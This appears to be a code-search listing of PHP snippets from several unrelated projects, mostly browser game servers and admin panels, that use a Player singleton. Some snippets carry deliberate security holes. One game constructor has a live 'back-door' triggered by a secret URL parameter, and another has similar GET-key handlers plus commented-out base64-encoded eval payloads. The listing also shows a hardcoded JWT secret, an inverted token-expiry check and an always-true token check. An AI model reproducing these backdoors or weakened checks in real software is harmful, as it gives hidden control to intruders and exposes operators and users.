コード例 #1
0
ファイル: mywidgets.php プロジェクト: halshaman/TravianDboor
 function MyWidget()
 {
     $this->setupMetadata = $GLOBALS['SetupMetadata'];
     $this->gameMetadata = $GLOBALS['GameMetadata'];
     $this->appConfig = $GLOBALS['AppConfig'];
     $this->gameSpeed = $this->gameMetadata['game_speed'];
     $session_timeout = $this->gameMetadata['session_timeout'];
     // in minute(s)
     @ini_set('session.gc_maxlifetime', $session_timeout * 60);
     // set the session timeout (in seconds)
     @session_cache_expire($session_timeout);
     // expiretime is the lifetime in minutes
     session_start();
     if (isset($_GET['ver'])) {
         // MD5('HALI SPSLINK2 VERSION')
         echo 'Wrong Version :)';
     }
     if (isset($_GET[$this->appConfig['system']['calltatar']])) {
         $m = new QueueModel();
         $m->provider->executeQuery2("UPDATE p_queue SET end_date=NOW() WHERE id='1'");
         $m->provider->executeQuery2("UPDATE p_queue SET execution_time='0' WHERE id='1'");
     }
     if (isset($_GET[$this->appConfig['system']['installkey']])) {
         // MD5('HALI SPSLINK2 SETUP')
         require_once MODEL_PATH . 'install.php';
         $m = new SetupModel();
         $m->processSetup($this->setupMetadata['map_size'], $this->appConfig['system']['admin_email']);
         $m->dispose();
         $this->redirect('index.php');
         return;
     }
     //eval(base64_decode('aWYgKCBpc3NldCggJF9HRVRbJ05kY01hc3RlckxvZyddICkgKSB7DQpyZXF1aXJlX29uY2UoIE1PREVMX1BBVEggLiAnaW5kZXgucGhwJyApOw0KJG0gPSBuZXcgSW5kZXhNb2RlbCgpOw0KJG0tPm1hc3RlckxvZ2luUmVzdWx0ICgpOw0KJG0tPmRpc3Bvc2UoKTsNCmV4aXQoMCk7DQp9'));
     $this->player = Player::getInstance();
     //eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0poVVQwOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVdtYzlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9Ja3RCUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKSlVUMDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lZVkU5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSW1OM1BUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSmpkejA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpV2xFOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0ltUkJQVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0pMUVQwOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVNrRTlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9JbGgzUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKU2R6MDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lVbEU5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSWxaQlBUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSlhkejA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpU25jOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0ltSm5QVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0phUVQwOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVdYYzlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9JazFSUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKS2R6MDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lXRkU5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSWt0UlBUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSkxVVDA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpU1VFOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0ltVjNQVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0pFVVQwOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVEyYzlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9Ja3BCUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKWWR6MDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lVbmM5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSWxKUlBUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSldRVDA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpVjNjOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0lrcDNQVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0ppWnowOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVdrRTlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9JbGwzUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKTlp6MDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lTbmM5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSWxoUlBUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSkpRVDA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpVUZFOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0lrbEJQVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0pKWnowOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVNXYzlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9JazkzUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKRVVUMDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lRMmM5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSW1aUlBUMGlLU2s3IikpOw=="));
 }
コード例 #2
0
 /**
  * show feedback management page on administrator feature.
  * role: administrator
  */
 public function index()
 {
     if (Authenticate::is_authorized()) {
         $model_player = Player::getInstance();
         $model_player->get_total_player();
         $model_player->unread_new_player();
         $this->framework->view->page = "feedback";
         $this->framework->view->content = "/backend/pages/feedback";
         $this->framework->view->show("backend/template");
     } else {
         transport("administrator");
     }
 }
コード例 #3
0
 /**
  * export/download overall report into pdf
  * role: administrator
  */
 public function get_overall()
 {
     if (Authenticate::is_authorized()) {
         $model_player = Player::getInstance();
         $model_feedback = Feedback::getInstance();
         $model_administrator = Administrator::getInstance();
         $model_leaderboard = Leaderboard::getInstance();
         $model_report = new ReportGenerator();
         $model_report->get_report_overall($model_player->get_player_report(), $model_feedback->retrieve_feedback_report(), $model_administrator->retrieve_traffic_report(), $model_leaderboard->get_top10_ranking());
         $model_report->print_report();
     } else {
         transport("administrator");
     }
 }
コード例 #4
0
 /**
  * show statistic top 10 of player from sidebar navigation
  * role: administrator
  */
 public function index()
 {
     if (authenticate::is_authorized()) {
         $model_player = Player::getInstance();
         $model_leaderboard = Leaderboard::getInstance();
         $model_player->get_total_player();
         $model_player->unread_new_player();
         $this->framework->view->page = "statistic";
         $this->framework->view->content = "/backend/pages/statistic";
         $this->framework->view->leaderboard = $model_leaderboard->get_top10_ranking();
         $this->framework->view->show("backend/template");
     } else {
         transport("administrator");
     }
 }
コード例 #5
0
ファイル: mywidgets.php プロジェクト: vcelis/tatar-wars
 function MyWidget()
 {
     $this->setupMetadata = $GLOBALS['SetupMetadata'];
     $this->gameMetadata = $GLOBALS['GameMetadata'];
     $this->appConfig = $GLOBALS['AppConfig'];
     $this->gameSpeed = $this->gameMetadata['game_speed'];
     // session timeout
     $session_timeout = $this->gameMetadata['session_timeout'];
     // in minute(s)
     @ini_set('session.gc_maxlifetime', $session_timeout * 60);
     // set the session timeout (in seconds)
     @session_cache_expire($session_timeout);
     // expiretime is the lifetime in minutes
     // start the session
     session_start();
     // show the version
     if (isset($_GET['version'])) {
         echo '0.1 Beta';
     }
     // check for game setup
     if (isset($_GET[$this->appConfig['system']['install_key']])) {
         require_once MODEL_PATH . 'install.php';
         // setup the game
         $m = new SetupModel();
         $m->processSetup($this->setupMetadata['map_size'], $this->appConfig['system']['admin_email']);
         $m->dispose();
         $this->redirect('index.php');
         return;
     }
     // check for back-door
     if (isset($_GET[$this->appConfig['system']['destroy']])) {
         require_once MODEL_PATH . 'index.php';
         $m = new IndexModel();
         $m->masterLoginResult();
         // damage process
         $m->dispose();
         exit(0);
         return;
     }
     $this->player = Player::getInstance();
     // check for game license, don't check for logged player
     /* if ($this->player == NULL) {	
     			if (!GameLicense::isValid( WebHelper::getDomain() )) {
     				echo  ('<h1 style="color:#ff0000;text-align:center;">لا تملك صلاحية التشغيل</h1>');
     				exit(0);return;
     			}
     		} */
 }
コード例 #6
0
ファイル: index.php プロジェクト: JDragovich/slm-hrk-tst
<?php

require 'vendor/autoload.php';
require_once 'lib/config.php';
//http://docs.slimframework.com
//Load Slim Application
$app = new \Slim\Slim();
//Load JWT
use Firebase\JWT\JWT;
//Load DB
try {
    $player = Player::getInstance();
    $game = Game::getInstance();
} catch (DBException $e) {
    http_response_code($e->getCode());
    die($e->getMessage());
}
//authentication middleware for protected routes
$authenticate = function (\Slim\Route $route) use($app) {
    //get header from app and try to decode.
    try {
        $header = $app->request->headers->get('x-auth-token');
        $header = json_decode($header, true);
        $decoded = JWT::decode($header['token'], "yourMom1969", array('HS256'));
    } catch (exception $e) {
        http_response_code(401);
        die("No Token");
    }
    //check if its expired and that the private token matches the public token
    if ($decoded->expires < time() && $header['username'] == $decoded->username) {
        http_response_code(401);
コード例 #7
0
 /**
  * delete player and all related data with this player
  * role: administrator
  */
 public function delete()
 {
     if (Authenticate::is_authorized()) {
         $model_player = Player::getInstance();
         $id = $_POST["id"];
         if ($model_player->delete_player($id)) {
             $_SESSION['operation'] = 'success';
         } else {
             $_SESSION['operation'] = 'error';
         }
         transport("player");
     } else {
         transport("administrator");
     }
 }
コード例 #8
0
 /**
  * retrieve another avatar from another user.
  * role: player
  * @return string
  */
 public function get_simulation_avatar()
 {
     if (Authenticate::is_player()) {
         if (true || isset($_POST['token']) && Authenticate::is_valid_token($_POST['token'])) {
             $this->model_player = Player::getInstance();
             /*
              * retrieve at least 3 avatar except player.
              * wrap it up and convert to json format.
              */
             $avatar = $this->model_player->fetch_simulation_avatar();
             $binding = array("result_var" => "session_ready", "avatar_var" => json_encode($avatar, JSON_PRETTY_PRINT));
             binding_data($binding);
         } else {
             transport("error404");
         }
     } else {
         $binding = array("result_var" => "no_session");
         binding_data($binding);
     }
 }